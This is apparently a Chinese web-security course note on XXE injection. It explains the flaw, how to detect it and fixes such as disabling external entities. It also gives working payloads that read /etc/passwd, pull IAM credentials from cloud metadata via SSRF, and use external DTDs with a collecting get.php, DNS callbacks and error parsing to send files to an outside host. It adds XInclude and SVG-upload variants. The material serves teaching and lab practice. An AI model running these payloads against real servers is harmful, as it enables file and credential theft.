知識點:
1、WEB攻防-XML&XXE-注入原理&分類&修復
2、WEB攻防-XML&XXE-文件讀取&SSRF&實體引用
3、WEB攻防-XML&XXE-無回顯&升級拓展&挖掘思路
一、演示案例-WEB攻防-XML&XXE-注入原理&分類&安全影響
詳細點
XML
被設計為傳輸和存儲數據,XML
文檔結構包括XML
聲明、DTD
文檔類型定義(可選)、文檔元素,其焦點是數據的內容,其把數據從HTML
分離,是獨立于軟件和硬件的信息傳輸工具。等同于JSON
傳輸。
XML
與HTML
的主要差異:
XML
被設計為傳輸和存儲數據,其焦點是數據的內容。
HTML
被設計用來顯示數據,其焦點是數據的外觀。
HTML
旨在顯示信息 ,而XML
旨在傳輸存儲信息。
XXE
漏洞XML External Entity Injection
,即xml
外部實體注入漏洞:XXE
漏洞發生在應用程序解析XML
輸入時,沒禁止外部實體的加載,導致可加載惡意外部文件,造成文件讀取(最主要的影響)、命令執行、內網掃描、攻擊內網等危害。
XXE黑盒發現
兩類:
數據包的測試
功能點的測試
1、獲取得到Content-Type
或數據類型為xml
時,嘗試xml
語言payload
進行測試
2、不管獲取的Content-Type
類型或數據傳輸類型,均可嘗試修改后提交測試xxe
3、XXE
不僅在數據傳輸上可能存在漏洞,同樣在文件上傳引用插件解析或預覽也會造成文件中的XXE Payload
被執行(百度docx xxe
即可)
參考地址:https://blog.csdn.net/weixin_57567655/article/details/124588490
XXE白盒發現
1、可通過應用功能追蹤代碼定位審計
2、可通過腳本特定函數搜索定位審計
3、可通過偽協議玩法繞過相關修復等
XXE修復防御方案
方案1-禁用外部實體
PHP:
libxml_disable_entity_loader(true);JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);Python:
from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))方案2-過濾用戶提交的XML數據
過濾關鍵詞:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC
二、演示案例-WEB攻防-XML&XXE-有回顯利用-文件讀取&SSRF&外部實體
1、文件讀取
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
2、SSRF&配合元數據
條件:存在XXE注入的云服務器應用
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>
&xxe;
</productId><storeId>1</storeId></stockCheck>
3、文件讀取-外部引用實體dtd
file.dtd
<!ENTITY send SYSTEM "file:///c:/c.txt">
<?xml version="1.0" ?>
<!DOCTYPE test [<!ENTITY % file SYSTEM "http://xiaodi8.com/file.dtd">
%file;
]>
<user><username>&send;</username><password>xiaodi</password></user>
三、演示案例-WEB攻防-XML&XXE-無回顯利用&文件拓展解析等
無回顯利用
1、DNSLOG-帶外測試
<?xml version="1.0" ?>
<!DOCTYPE test [<!ENTITY % file SYSTEM "http://xiaodi8.dnslog.cn">
%file;
]>
<user><username>xiaodi</username><password>xiaodi</password></user>
2、文件讀取-外部引用實體dtd配合帶外
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///c:/c.txt">
<!ENTITY % remote SYSTEM "http://www.xiaodi8.com/test.dtd">
%remote;
%all;
]>
<user><username>&send;</username><password>xiaodi</password></user>test.dtd:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://www.xiaodi8.com/get.php?file=%file;'>">get.php:
<?php
$data=$_GET['file'];
$myfile = fopen("file.txt", "w+");
fwrite($myfile, $data);
fclose($myfile);
?>執行邏輯順序:test.dtd->all->send->get.php?file=%file->file:///c:/c.txt
http://www.xiaodi8.com/get.php?file=讀取的內網數據
3、文件讀取-外部引用實體dtd配合錯誤解析
test.dtd內容:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;//這是一個報錯的payload,利用目標服務器報錯解析來讀取文件內容。
BURP
靶場
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0ab2006f03dce8a4803dfde101f3007d.exploit-server.net/exploit"> %xxe;]>
文件拓展解析
1、xinclude利用
XInclude
是一種讓你能把多個獨立的 XML
文件像拼積木一樣“動態組合”成一個大 XML
文檔的標準方法。它通過在主文件里放置特殊的“包含指令”(<xi:include>
),告訴 XML
處理器在需要的時候去自動加載并插入指定文件的內容。這樣做的主要好處是讓大型 XML
文檔更容易編寫、維護和復用。
一些應用程序接收客戶端提交的數據,在服務器端將其嵌入到XML
文檔中,然后解析該文檔,所以利用xinclude
嵌套進去執行。
BURP
靶場
<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>
2、文件上傳-SVG圖像解析(docx等)
一些應用程序接收解析文件,可以使用基于XML
的格式的例子有DOCX
這樣的辦公文檔格式和SVG
這樣的圖像格式進行測試。
SVG
圖片
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
SRC
文章:https://mp.weixin.qq.com/s/5iPoqsWpYfQmr0ExcJYRwg
DOCX
文檔
參考文章:https://blog.csdn.net/weixin_57567655/article/details/124588490
3、功能點挖掘總結
基于XML的Web服務: SOAP、REST和RPC API這些接收和處理XML格式
導入/導出功能: 任何以 XML 格式傳輸數據的進出口
RSS/Atom 訂閱處理器: 訂閱功能也可能隱藏著 XXE 漏洞。
文檔查看器/轉換器: 處理DOCX、XLSX等XML 格式文檔的功能
文件上傳處理 XML: 比如SVG圖像處理器,上傳圖片也可能中招!